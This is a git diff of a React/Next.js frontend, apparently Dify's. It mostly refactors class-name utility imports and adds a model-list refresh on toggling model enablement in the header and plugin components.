diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list-item.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list-item.tsx
index 091ad0a7da..911485edf6 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list-item.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list-item.tsx
@@ -5,7 +5,8 @@ import type { ModelItem, ModelProvider } from '../declarations'
 import { ModelStatusEnum } from '../declarations'
 import ModelIcon from '../model-icon'
 import ModelName from '../model-name'
-import classNames from '@/utils/classnames'
+import { useUpdateModelList } from '../hooks'
+import { cn } from '@/utils/classnames'
 import { Balance } from '@/app/components/base/icons/src/vender/line/financeAndECommerce'
 import Switch from '@/app/components/base/switch'
 import Tooltip from '@/app/components/base/tooltip'
@@ -20,21 +21,25 @@ export type ModelListItemProps = {
   model: ModelItem
   provider: ModelProvider
   isConfigurable: boolean
+  onChange?: (provider: string) => void
   onModifyLoadBalancing?: (model: ModelItem) => void
 }
 
-const ModelListItem = ({ model, provider, isConfigurable, onModifyLoadBalancing }: ModelListItemProps) => {
+const ModelListItem = ({ model, provider, isConfigurable, onChange, onModifyLoadBalancing }: ModelListItemProps) => {
   const { t } = useTranslation()
   const { plan } = useProviderContext()
   const modelLoadBalancingEnabled = useProviderContextSelector(state => state.modelLoadBalancingEnabled)
   const { isCurrentWorkspaceManager } = useAppContext()
+  const updateModelList = useUpdateModelList()
 
   const toggleModelEnablingStatus = useCallback(async (enabled: boolean) => {
     if (enabled)
       await enableModel(`/workspaces/current/model-providers/${provider.provider}/models/enable`, { model: model.model, model_type: model.model_type })
     else
       await disableModel(`/workspaces/current/model-providers/${provider.provider}/models/disable`, { model: model.model, model_type: model.model_type })
-  }, [model.model, model.model_type, provider.provider])
+    updateModelList(model.model_type)
+    onChange?.(provider.provider)
+  }, [model.model, model.model_type, onChange, provider.provider, updateModelList])
 
   const { run: debouncedToggleModelEnablingStatus } = useDebounceFn(toggleModelEnablingStatus, { wait: 500 })
 
@@ -45,11 +50,9 @@ const ModelListItem = ({ model, provider, isConfigurable, onModifyLoadBalancing
   return (
     <div
       key={`${model.model}-${model.fetch_from}`}
-      className={classNames(
-        'group flex h-8 items-center rounded-lg pl-2 pr-2.5',
+      className={cn('group flex h-8 items-center rounded-lg pl-2 pr-2.5',
         isConfigurable && 'hover:bg-components-panel-on-panel-item-bg-hover',
-        model.deprecated && 'opacity-60',
-      )}
+        model.deprecated && 'opacity-60')}
     >
       <ModelIcon
         className='mr-2 shrink-0'
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list.tsx
index 2e008a0b35..1efa9628ac 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-list.tsx
@@ -91,6 +91,7 @@ const ModelList: FC<ModelListProps> = ({
                 model,
                 provider,
                 isConfigurable,
+                onChange,
                 onModifyLoadBalancing,
               }}
             />
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-configs.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-configs.tsx
index 291ba013f7..78882257b5 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-configs.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-configs.tsx
@@ -16,7 +16,7 @@ import type {
 import { ConfigurationMethodEnum } from '../declarations'
 import Indicator from '../../../indicator'
 import CooldownTimer from './cooldown-timer'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import Switch from '@/app/components/base/switch'
 import { Balance } from '@/app/components/base/icons/src/vender/line/financeAndECommerce'
@@ -146,12 +146,10 @@ const ModelLoadBalancingConfigs = ({
   return (
     <>
       <div
-        className={classNames(
-          'min-h-16 rounded-xl border bg-components-panel-bg transition-colors',
+        className={cn('min-h-16 rounded-xl border bg-components-panel-bg transition-colors',
           (withSwitch || !draftConfig.enabled) ? 'border-components-panel-border' : 'border-util-colors-blue-blue-600',
           (withSwitch || draftConfig.enabled) ? 'cursor-default' : 'cursor-pointer',
-          className,
-        )}
+          className)}
         onClick={(!withSwitch && !draftConfig.enabled) ? () => toggleModalBalancing(true) : undefined}
       >
         <div className='flex select-none items-center gap-2 px-[15px] py-3'>
@@ -270,7 +268,7 @@ const ModelLoadBalancingConfigs = ({
         <GridMask canvasClassName='!rounded-xl'>
           <div className='mt-2 flex h-14 items-center justify-between rounded-xl border-[0.5px] border-components-panel-border px-4 shadow-md'>
             <div
-              className={classNames('text-gradient text-sm font-semibold leading-tight', s.textGradient)}
+              className={cn('text-gradient text-sm font-semibold leading-tight', s.textGradient)}
             >
               {t('common.modelProvider.upgradeForLoadBalancing')}
             </div>
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-modal.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-modal.tsx
index 090147897b..6206267149 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-modal.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/model-load-balancing-modal.tsx
@@ -15,7 +15,7 @@ import {
 import ModelIcon from '../model-icon'
 import ModelName from '../model-name'
 import ModelLoadBalancingConfigs from './model-load-balancing-configs'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Button from '@/app/components/base/button'
 import Loading from '@/app/components/base/loading'
@@ -265,10 +265,8 @@ const ModelLoadBalancingModal = ({
             <>
               <div className='py-2'>
                 <div
-                  className={classNames(
-                    'min-h-16 rounded-xl border bg-components-panel-bg transition-colors',
-                    draftConfig.enabled ? 'cursor-pointer border-components-panel-border' : 'cursor-default border-util-colors-blue-blue-600',
-                  )}
+                  className={cn('min-h-16 rounded-xl border bg-components-panel-bg transition-colors',
+                    draftConfig.enabled ? 'cursor-pointer border-components-panel-border' : 'cursor-default border-util-colors-blue-blue-600')}
                   onClick={draftConfig.enabled ? () => toggleModalBalancing(false) : undefined}
                 >
                   <div className='flex select-none items-center gap-2 px-[15px] py-3'>
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/priority-selector.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/priority-selector.tsx
index 193608afc8..10d94d55b7 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/priority-selector.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/priority-selector.tsx
@@ -8,7 +8,7 @@ import {
 } from '@remixicon/react'
 import { PreferredProviderTypeEnum } from '../declarations'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type SelectorProps = {
   value?: string
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-icon/index.tsx b/web/app/components/header/account-setting/model-provider-page/provider-icon/index.tsx
index 6192f1d3ed..2c56a1c347 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-icon/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-icon/index.tsx
@@ -5,7 +5,7 @@ import { Openai } from '@/app/components/base/icons/src/vender/other'
 import { AnthropicDark, AnthropicLight } from '@/app/components/base/icons/src/public/llm'
 import { renderI18nObject } from '@/i18n-config'
 import { Theme } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useTheme from '@/hooks/use-theme'
 
 type ProviderIconProps = {
diff --git a/web/app/components/header/account-setting/plugin-page/index.tsx b/web/app/components/header/account-setting/plugin-page/index.tsx
index bf404b05bb..5195ca9501 100644
--- a/web/app/components/header/account-setting/plugin-page/index.tsx
+++ b/web/app/components/header/account-setting/plugin-page/index.tsx
@@ -1,14 +1,13 @@
-import useSWR from 'swr'
 import { LockClosedIcon } from '@heroicons/react/24/solid'
 import { useTranslation } from 'react-i18next'
 import Link from 'next/link'
 import SerpapiPlugin from './SerpapiPlugin'
-import { fetchPluginProviders } from '@/service/common'
 import type { PluginProvider } from '@/models/common'
+import { usePluginProviders } from '@/service/use-common'
 
 const PluginPage = () => {
   const { t } = useTranslation()
-  const { data: plugins, mutate } = useSWR('/workspaces/current/tool-providers', fetchPluginProviders)
+  const { data: plugins, refetch: mutate } = usePluginProviders()
 
   const Plugin_MAP: Record<string, (plugin: PluginProvider) => React.JSX.Element> = {
     serpapi: (plugin: PluginProvider) => <SerpapiPlugin key='serpapi' plugin={plugin} onUpdate={() => mutate()} />,
diff --git a/web/app/components/header/app-back/index.tsx b/web/app/components/header/app-back/index.tsx
index 58f1262c56..5e6d38b049 100644
--- a/web/app/components/header/app-back/index.tsx
+++ b/web/app/components/header/app-back/index.tsx
@@ -3,7 +3,7 @@
 import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { ArrowLeftIcon, Squares2X2Icon } from '@heroicons/react/24/solid'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { AppDetailResponse } from '@/models/app'
 
 type IAppBackProps = {
@@ -16,7 +16,7 @@ export default function AppBack({ curApp }: IAppBackProps) {
 
   return (
     <div
-      className={classNames(`
+      className={cn(`
         flex h-7 cursor-pointer items-center rounded-[10px]
         pl-2.5 pr-2 font-semibold
         text-[#1C64F2]
diff --git a/web/app/components/header/explore-nav/index.tsx b/web/app/components/header/explore-nav/index.tsx
index 6896722a84..9d37fc741d 100644
--- a/web/app/components/header/explore-nav/index.tsx
+++ b/web/app/components/header/explore-nav/index.tsx
@@ -7,7 +7,7 @@ import {
   RiPlanetFill,
   RiPlanetLine,
 } from '@remixicon/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 type ExploreNavProps = {
   className?: string
 }
@@ -20,11 +20,9 @@ const ExploreNav = ({
   const activated = selectedSegment === 'explore'
 
   return (
-    <Link href="/explore/apps" className={classNames(
-      className, 'group',
+    <Link href="/explore/apps" className={cn(className, 'group',
       activated && 'bg-components-main-nav-nav-button-bg-active shadow-md',
-      activated ? 'text-components-main-nav-nav-button-text-active' : 'text-components-main-nav-nav-button-text hover:bg-components-main-nav-nav-button-bg-hover',
-    )}>
+      activated ? 'text-components-main-nav-nav-button-text-active' : 'text-components-main-nav-nav-button-text hover:bg-components-main-nav-nav-button-bg-hover')}>
       {
         activated
           ? <RiPlanetFill className='h-4 w-4' />
diff --git a/web/app/components/header/header-wrapper.tsx b/web/app/components/header/header-wrapper.tsx
index 3458888efa..efa96ce4bd 100644
--- a/web/app/components/header/header-wrapper.tsx
+++ b/web/app/components/header/header-wrapper.tsx
@@ -3,7 +3,7 @@ import React, { useState } from 'react'
 import { usePathname } from 'next/navigation'
 import s from './index.module.css'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type HeaderWrapperProps = {
   children: React.ReactNode
@@ -27,12 +27,10 @@ const HeaderWrapper = ({
   })
 
   return (
-    <div className={classNames(
-      'sticky left-0 right-0 top-0 z-[30] flex min-h-[56px] shrink-0 grow-0 basis-auto flex-col',
+    <div className={cn('sticky left-0 right-0 top-0 z-[30] flex min-h-[56px] shrink-0 grow-0 basis-auto flex-col',
       s.header,
       isBordered ? 'border-b border-divider-regular' : '',
-      hideHeader && (inWorkflowCanvas || isPipelineCanvas) && 'hidden',
-    )}
+      hideHeader && (inWorkflowCanvas || isPipelineCanvas) && 'hidden')}
     >
       {children}
     </div>
diff --git a/web/app/components/header/indicator/index.tsx b/web/app/components/header/indicator/index.tsx
index 8d27825247..c48f8c4d7b 100644
--- a/web/app/components/header/indicator/index.tsx
+++ b/web/app/components/header/indicator/index.tsx
@@ -1,6 +1,6 @@
 'use client'
 
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IndicatorProps = {
   color?: 'green' | 'orange' | 'red' | 'blue' | 'yellow' | 'gray'
@@ -47,13 +47,12 @@ export default function Indicator({
 }: IndicatorProps) {
   return (
     <div
-      className={classNames(
-        'h-2 w-2 rounded-[3px] border border-solid',
+      data-testid="status-indicator"
+      className={cn('h-2 w-2 rounded-[3px] border border-solid',
         BACKGROUND_MAP[color],
         BORDER_MAP[color],
         SHADOW_MAP[color],
-        className,
-      )}
+        className)}
     />
   )
 }
diff --git a/web/app/components/header/nav/index.tsx b/web/app/components/header/nav/index.tsx
index d9739192e3..5ffdf3899e 100644
--- a/web/app/components/header/nav/index.tsx
+++ b/web/app/components/header/nav/index.tsx
@@ -5,7 +5,7 @@ import Link from 'next/link'
 import { usePathname, useSearchParams, useSelectedLayoutSegment } from 'next/navigation'
 import type { INavSelectorProps } from './nav-selector'
 import NavSelector from './nav-selector'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ArrowNarrowLeft } from '@/app/components/base/icons/src/vender/line/arrows'
 import { useStore as useAppStore } from '@/app/components/app/store'
 
@@ -58,11 +58,9 @@ const Nav = ({
               return
             setAppDetail()
           }}
-          className={classNames(
-            'flex h-7 cursor-pointer items-center rounded-[10px] px-2.5',
+          className={cn('flex h-7 cursor-pointer items-center rounded-[10px] px-2.5',
             isActivated ? 'text-components-main-nav-nav-button-text-active' : 'text-components-main-nav-nav-button-text',
-            curNav && isActivated && 'hover:bg-components-main-nav-nav-button-bg-active-hover',
-          )}
+            curNav && isActivated && 'hover:bg-components-main-nav-nav-button-bg-active-hover')}
           onMouseEnter={() => setHovered(true)}
           onMouseLeave={() => setHovered(false)}
         >
diff --git a/web/app/components/header/nav/nav-selector/index.tsx b/web/app/components/header/nav/nav-selector/index.tsx
index 4a13bc8a3c..934d7e7fff 100644
--- a/web/app/components/header/nav/nav-selector/index.tsx
+++ b/web/app/components/header/nav/nav-selector/index.tsx
@@ -9,7 +9,7 @@ import {
 import { Menu, MenuButton, MenuItem, MenuItems, Transition } from '@headlessui/react'
 import { useRouter } from 'next/navigation'
 import { debounce } from 'lodash-es'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import AppIcon from '@/app/components/base/app-icon'
 import { AppTypeIcon } from '@/app/components/app/type-selector'
 import { useAppContext } from '@/context/app-context'
diff --git a/web/app/components/header/plugins-nav/index.tsx b/web/app/components/header/plugins-nav/index.tsx
index 7b28e27639..a0d1c7038f 100644
--- a/web/app/components/header/plugins-nav/index.tsx
+++ b/web/app/components/header/plugins-nav/index.tsx
@@ -2,7 +2,7 @@
 
 import { useTranslation } from 'react-i18next'
 import Link from 'next/link'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Group } from '@/app/components/base/icons/src/vender/other'
 import { useSelectedLayoutSegment } from 'next/navigation'
 import DownloadingIcon from './downloading-icon'
@@ -26,16 +26,14 @@ const PluginsNav = ({
   } = usePluginTaskStatus()
 
   return (
-    <Link href="/plugins" className={classNames(
-      className, 'group', 'plugins-nav-button', // used for use-fold-anim-into.ts
+    <Link href="/plugins" className={cn(className, 'group', 'plugins-nav-button',
+       // used for use-fold-anim-into.ts
     )}>
       <div
-        className={classNames(
-          'system-sm-medium relative flex h-8 flex-row items-center justify-center gap-0.5 rounded-xl border border-transparent p-1.5',
+        className={cn('system-sm-medium relative flex h-8 flex-row items-center justify-center gap-0.5 rounded-xl border border-transparent p-1.5',
           activated && 'border-components-main-nav-nav-button-border bg-components-main-nav-nav-button-bg-active text-components-main-nav-nav-button-text shadow-md',
           !activated && 'text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
-          (isInstallingWithError || isFailed) && !activated && 'border-components-panel-border-subtle',
-        )}
+          (isInstallingWithError || isFailed) && !activated && 'border-components-panel-border-subtle')}
       >
         {
           (isFailed || isInstallingWithError) && !activated && (
diff --git a/web/app/components/header/tools-nav/index.tsx b/web/app/components/header/tools-nav/index.tsx
index eb8d806c02..8a3bb4e27f 100644
--- a/web/app/components/header/tools-nav/index.tsx
+++ b/web/app/components/header/tools-nav/index.tsx
@@ -7,7 +7,7 @@ import {
   RiHammerFill,
   RiHammerLine,
 } from '@remixicon/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 type ToolsNavProps = {
   className?: string
 }
@@ -20,12 +20,10 @@ const ToolsNav = ({
   const activated = selectedSegment === 'tools'
 
   return (
-    <Link href="/tools" className={classNames(
-      'group text-sm font-medium',
+    <Link href="/tools" className={cn('group text-sm font-medium',
       activated && 'hover:bg-components-main-nav-nav-button-bg-active-hover bg-components-main-nav-nav-button-bg-active font-semibold shadow-md',
       activated ? 'text-components-main-nav-nav-button-text-active' : 'text-components-main-nav-nav-button-text hover:bg-components-main-nav-nav-button-bg-hover',
-      className,
-    )}>
+      className)}>
       {
         activated
           ? <RiHammerFill className='h-4 w-4' />
diff --git a/web/app/components/plugins/base/badges/icon-with-tooltip.tsx b/web/app/components/plugins/base/badges/icon-with-tooltip.tsx
index 60b164e620..d22ba02298 100644
--- a/web/app/components/plugins/base/badges/icon-with-tooltip.tsx
+++ b/web/app/components/plugins/base/badges/icon-with-tooltip.tsx
@@ -1,5 +1,5 @@
 import React, { type FC } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import { Theme } from '@/types/app'
 
diff --git a/web/app/components/plugins/base/deprecation-notice.tsx b/web/app/components/plugins/base/deprecation-notice.tsx
index 380917a986..ae6ded10fc 100644
--- a/web/app/components/plugins/base/deprecation-notice.tsx
+++ b/web/app/components/plugins/base/deprecation-notice.tsx
@@ -1,7 +1,7 @@
 import React, { useMemo } from 'react'
 import type { FC } from 'react'
 import Link from 'next/link'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiAlertFill } from '@remixicon/react'
 import { Trans } from 'react-i18next'
 import { useMixedTranslation } from '../marketplace/hooks'
diff --git a/web/app/components/plugins/base/key-value-item.tsx b/web/app/components/plugins/base/key-value-item.tsx
index b616b5ee18..8a9c045b96 100644
--- a/web/app/components/plugins/base/key-value-item.tsx
+++ b/web/app/components/plugins/base/key-value-item.tsx
@@ -8,7 +8,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import { CopyCheck } from '../../base/icons/src/vender/line/files'
 import Tooltip from '../../base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ActionButton from '@/app/components/base/action-button'
 
 type Props = {
diff --git a/web/app/components/plugins/card/base/card-icon.tsx b/web/app/components/plugins/card/base/card-icon.tsx
index b4c052c13c..740834b7a4 100644
--- a/web/app/components/plugins/card/base/card-icon.tsx
+++ b/web/app/components/plugins/card/base/card-icon.tsx
@@ -1,7 +1,7 @@
 import { RiCheckLine, RiCloseLine } from '@remixicon/react'
 import { Mcp } from '@/app/components/base/icons/src/vender/other'
 import AppIcon from '@/app/components/base/app-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { shouldUseMcpIcon } from '@/utils/mcp'
 
 const iconSizeMap = {
diff --git a/web/app/components/plugins/card/base/description.tsx b/web/app/components/plugins/card/base/description.tsx
index bffcde3a42..9b9d7e3471 100644
--- a/web/app/components/plugins/card/base/description.tsx
+++ b/web/app/components/plugins/card/base/description.tsx
@@ -1,6 +1,6 @@
 import type { FC } from 'react'
 import React, { useMemo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/plugins/card/base/org-info.tsx b/web/app/components/plugins/card/base/org-info.tsx
index 01561f14af..cdecca8dd4 100644
--- a/web/app/components/plugins/card/base/org-info.tsx
+++ b/web/app/components/plugins/card/base/org-info.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 type Props = {
   className?: string
   orgName?: string
diff --git a/web/app/components/plugins/card/base/placeholder.tsx b/web/app/components/plugins/card/base/placeholder.tsx
index 4505be39e6..480f878a87 100644
--- a/web/app/components/plugins/card/base/placeholder.tsx
+++ b/web/app/components/plugins/card/base/placeholder.tsx
@@ -1,7 +1,7 @@
 import { Group } from '../../../base/icons/src/vender/other'
 import Title from './title'
 import { SkeletonContainer, SkeletonPoint, SkeletonRectangle, SkeletonRow } from '@/app/components/base/skeleton'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   wrapClassName: string
diff --git a/web/app/components/plugins/card/index.tsx b/web/app/components/plugins/card/index.tsx
index a820a6cef8..805132c036 100644
--- a/web/app/components/plugins/card/index.tsx
+++ b/web/app/components/plugins/card/index.tsx
@@ -3,7 +3,7 @@ import { useMixedTranslation } from '@/app/components/plugins/marketplace/hooks'
 import { useGetLanguage } from '@/context/i18n'
 import { renderI18nObject } from '@/i18n-config'
 import { getLanguage } from '@/i18n-config/language'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiAlertFill } from '@remixicon/react'
 import React from 'react'
 import useTheme from '@/hooks/use-theme'
diff --git a/web/app/components/plugins/install-plugin/hooks/use-refresh-plugin-list.tsx b/web/app/components/plugins/install-plugin/hooks/use-refresh-plugin-list.tsx
index 264c4782cd..b9413afcdd 100644
--- a/web/app/components/plugins/install-plugin/hooks/use-refresh-plugin-list.tsx
+++ b/web/app/components/plugins/install-plugin/hooks/use-refresh-plugin-list.tsx
@@ -37,7 +37,7 @@ const useRefreshPluginList = () => {
       if ((manifest && PluginCategoryEnum.tool.includes(manifest.category)) || refreshAllType) {
         invalidateAllToolProviders()
         invalidateAllBuiltInTools()
-        invalidateRAGRecommendedPlugins()
+        invalidateRAGRecommendedPlugins('tool')
         // TODO: update suggested tools. It's a function in hook useMarketplacePlugins,handleUpdatePlugins
       }
 
diff --git a/web/app/components/plugins/install-plugin/install-bundle/index.tsx b/web/app/components/plugins/install-plugin/install-bundle/index.tsx
index c6b4cdfa95..0a7059a52d 100644
--- a/web/app/components/plugins/install-plugin/install-bundle/index.tsx
+++ b/web/app/components/plugins/install-plugin/install-bundle/index.tsx
@@ -7,7 +7,7 @@ import type { Dependency } from '../../types'
 import ReadyToInstall from './ready-to-install'
 import { useTranslation } from 'react-i18next'
 import useHideLogic from '../hooks/use-hide-logic'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const i18nPrefix = 'plugin.installModal'
 
diff --git a/web/app/components/plugins/install-plugin/install-from-github/index.tsx b/web/app/components/plugins/install-plugin/install-from-github/index.tsx
index ceb800decd..fcdc8510bc 100644
--- a/web/app/components/plugins/install-plugin/install-from-github/index.tsx
+++ b/web/app/components/plugins/install-plugin/install-from-github/index.tsx
@@ -16,7 +16,7 @@ import Loaded from './steps/loaded'
 import useGetIcon from '@/app/components/plugins/install-plugin/base/use-get-icon'
 import { useTranslation } from 'react-i18next'
 import useRefreshPluginList from '../hooks/use-refresh-plugin-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useHideLogic from '../hooks/use-hide-logic'
 
 const i18nPrefix = 'plugin.installFromGitHub'
diff --git a/web/app/components/plugins/install-plugin/install-from-local-package/index.tsx b/web/app/components/plugins/install-plugin/install-from-local-package/index.tsx
index 6cf55ac044..fa5c29aa24 100644
--- a/web/app/components/plugins/install-plugin/install-from-local-package/index.tsx
+++ b/web/app/components/plugins/install-plugin/install-from-local-package/index.tsx
@@ -10,7 +10,7 @@ import useGetIcon from '@/app/components/plugins/install-plugin/base/use-get-ico
 import ReadyToInstallPackage from './ready-to-install'
 import ReadyToInstallBundle from '../install-bundle/ready-to-install'
 import useHideLogic from '../hooks/use-hide-logic'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const i18nPrefix = 'plugin.installModal'
 
diff --git a/web/app/components/plugins/install-plugin/install-from-marketplace/index.tsx b/web/app/components/plugins/install-plugin/install-from-marketplace/index.tsx
index f41cd6176a..44f3c1bee7 100644
--- a/web/app/components/plugins/install-plugin/install-from-marketplace/index.tsx
+++ b/web/app/components/plugins/install-plugin/install-from-marketplace/index.tsx
@@ -9,7 +9,7 @@ import Installed from '../base/installed'
 import { useTranslation } from 'react-i18next'
 import useRefreshPluginList from '../hooks/use-refresh-plugin-list'
 import ReadyToInstallBundle from '../install-bundle/ready-to-install'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useHideLogic from '../hooks/use-hide-logic'
 
 const i18nPrefix = 'plugin.installModal'
diff --git a/web/app/components/plugins/install-plugin/utils.ts b/web/app/components/plugins/install-plugin/utils.ts
index afbe0f18af..32d3e54225 100644
--- a/web/app/components/plugins/install-plugin/utils.ts
+++ b/web/app/components/plugins/install-plugin/utils.ts
@@ -61,7 +61,8 @@ export const pluginManifestInMarketToPluginProps = (pluginManifest: PluginManife
 }
 
 export const parseGitHubUrl = (url: string): GitHubUrlInfo => {
-  const match = url.match(/^https:\/\/github\.com\/([^/]+)\/([^/]+)\/?$/)
+  const githubUrlRegex = /^https:\/\/github\.com\/([^/]+)\/([^/]+)\/?$/
+  const match = githubUrlRegex.exec(url)
   return match ? { isValid: true, owner: match[1], repo: match[2] } : { isValid: false }
 }
 
diff --git a/web/app/components/plugins/marketplace/empty/index.tsx b/web/app/components/plugins/marketplace/empty/index.tsx
index a9cf125a15..a26cf3c3b7 100644
--- a/web/app/components/plugins/marketplace/empty/index.tsx
+++ b/web/app/components/plugins/marketplace/empty/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import { Group } from '@/app/components/base/icons/src/vender/other'
 import Line from './line'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useMixedTranslation } from '@/app/components/plugins/marketplace/hooks'
 
 type Props = {
diff --git a/web/app/components/plugins/marketplace/list/index.tsx b/web/app/components/plugins/marketplace/list/index.tsx
index 2072e3feed..4d4438fec0 100644
--- a/web/app/components/plugins/marketplace/list/index.tsx
+++ b/web/app/components/plugins/marketplace/list/index.tsx
@@ -4,7 +4,7 @@ import type { MarketplaceCollection } from '../types'
 import ListWithCollection from './list-with-collection'
 import CardWrapper from './card-wrapper'
 import Empty from '../empty'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ListProps = {
   marketplaceCollections: MarketplaceCollection[]
diff --git a/web/app/components/plugins/marketplace/list/list-with-collection.tsx b/web/app/components/plugins/marketplace/list/list-with-collection.tsx
index 7c8a30f499..bef4a6787a 100644
--- a/web/app/components/plugins/marketplace/list/list-with-collection.tsx
+++ b/web/app/components/plugins/marketplace/list/list-with-collection.tsx
@@ -5,7 +5,7 @@ import type { MarketplaceCollection } from '../types'
 import CardWrapper from './card-wrapper'
 import type { Plugin } from '@/app/components/plugins/types'
 import { getLanguage } from '@/i18n-config/language'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { SearchParamsFromCollection } from '@/app/components/plugins/marketplace/types'
 import { useMixedTranslation } from '@/app/components/plugins/marketplace/hooks'
 
diff --git a/web/app/components/plugins/marketplace/plugin-type-switch.tsx b/web/app/components/plugins/marketplace/plugin-type-switch.tsx
index e63ecfe591..c00dce19a1 100644
--- a/web/app/components/plugins/marketplace/plugin-type-switch.tsx
+++ b/web/app/components/plugins/marketplace/plugin-type-switch.tsx
@@ -1,6 +1,6 @@
 'use client'
 import { Trigger as TriggerIcon } from '@/app/components/base/icons/src/vender/plugin'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   RiArchive2Line,
   RiBrain2Line,
diff --git a/web/app/components/plugins/marketplace/search-box/index.tsx b/web/app/components/plugins/marketplace/search-box/index.tsx
index c398964b4e..4369520f7f 100644
--- a/web/app/components/plugins/marketplace/search-box/index.tsx
+++ b/web/app/components/plugins/marketplace/search-box/index.tsx
@@ -2,7 +2,7 @@
 import { RiCloseLine, RiSearchLine } from '@remixicon/react'
 import TagsFilter from './tags-filter'
 import ActionButton from '@/app/components/base/action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiAddLine } from '@remixicon/react'
 import Divider from '@/app/components/base/divider'
 
diff --git a/web/app/components/plugins/marketplace/search-box/trigger/marketplace.tsx b/web/app/components/plugins/marketplace/search-box/trigger/marketplace.tsx
index 3945e9460e..d962a52bb6 100644
--- a/web/app/components/plugins/marketplace/search-box/trigger/marketplace.tsx
+++ b/web/app/components/plugins/marketplace/search-box/trigger/marketplace.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import { RiArrowDownSLine, RiCloseCircleFill, RiFilter3Line } from '@remixicon/react'
 import type { Tag } from '../../../hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useMixedTranslation } from '../../hooks'
 
 type MarketplaceTriggerProps = {
diff --git a/web/app/components/plugins/marketplace/search-box/trigger/tool-selector.tsx b/web/app/components/plugins/marketplace/search-box/trigger/tool-selector.tsx
index 00f8c55a90..96f321f75e 100644
--- a/web/app/components/plugins/marketplace/search-box/trigger/tool-selector.tsx
+++ b/web/app/components/plugins/marketplace/search-box/trigger/tool-selector.tsx
@@ -1,6 +1,6 @@
 import React from 'react'
 import type { Tag } from '../../../hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiCloseCircleFill, RiPriceTag3Line } from '@remixicon/react'
 
 type ToolSelectorTriggerProps = {
diff --git a/web/app/components/plugins/marketplace/sticky-search-and-switch-wrapper.tsx b/web/app/components/plugins/marketplace/sticky-search-and-switch-wrapper.tsx
index cca8876f09..891f0803d5 100644
--- a/web/app/components/plugins/marketplace/sticky-search-and-switch-wrapper.tsx
+++ b/web/app/components/plugins/marketplace/sticky-search-and-switch-wrapper.tsx
@@ -2,7 +2,7 @@
 
 import SearchBoxWrapper from './search-box/search-box-wrapper'
